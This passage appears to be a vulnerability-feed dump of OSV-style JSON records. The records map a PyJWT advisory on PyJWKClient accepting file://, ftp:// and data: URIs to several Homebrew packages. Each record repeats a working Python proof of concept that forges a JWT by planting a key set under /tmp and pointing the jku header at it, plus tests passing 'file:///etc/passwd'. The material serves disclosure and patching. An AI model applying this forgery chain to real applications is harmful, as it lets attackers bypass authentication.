    "PYSEC-2026-175"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.15.1",
        "upstream_fixed_in": "2.13.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "cycode",
        "purl": "pkg:brew/cycode"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.3"
            },
            {
              "fixed": "3.15.2_2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.15.1",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.15.1"
      }
    ]
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "BREW-cycode-CVE-2026-48522",
  "modified": "2026-10-03T09:08:55Z",
  "published": "2026-08-13T16:42:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes",
  "upstream": [
    "GHSA-993g-76c3-p5m4",
    "CVE-2026-48522",
    "PYSEC-2026-175"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.13.0",
        "upstream_fixed_in": "2.13.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "dnsrobocert",
        "purl": "pkg:brew/dnsrobocert"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.27.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.13.0",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.13.0"
      }
    ]
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "BREW-dnsrobocert-CVE-2026-48522",
  "modified": "2026-09-09T23:51:44Z",
  "published": "2026-08-13T16:43:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes",
  "upstream": [
    "GHSA-993g-76c3-p5m4",
    "CVE-2026-48522",
    "PYSEC-2026-175"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.15.1",
        "upstream_fixed_in": "2.13.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "dstack",
        "purl": "pkg:brew/dstack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.1"
            },
            {
              "fixed": "0.20.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.15.1",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.15.1"
      }
    ]
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "BREW-dstack-CVE-2026-48522",
  "modified": "2026-09-30T19:10:40Z",
  "published": "2026-08-13T16:43:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes",
  "upstream": [
    "GHSA-993g-76c3-p5m4",
    "CVE-2026-48522",
    "PYSEC-2026-175"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.15.1",
        "upstream_fixed_in": "2.13.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "duplicity",
        "purl": "pkg:brew/duplicity"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.19"
            },
            {
              "fixed": "3.0.7_12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.15.1",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.15.1"
      }
    ]
  },
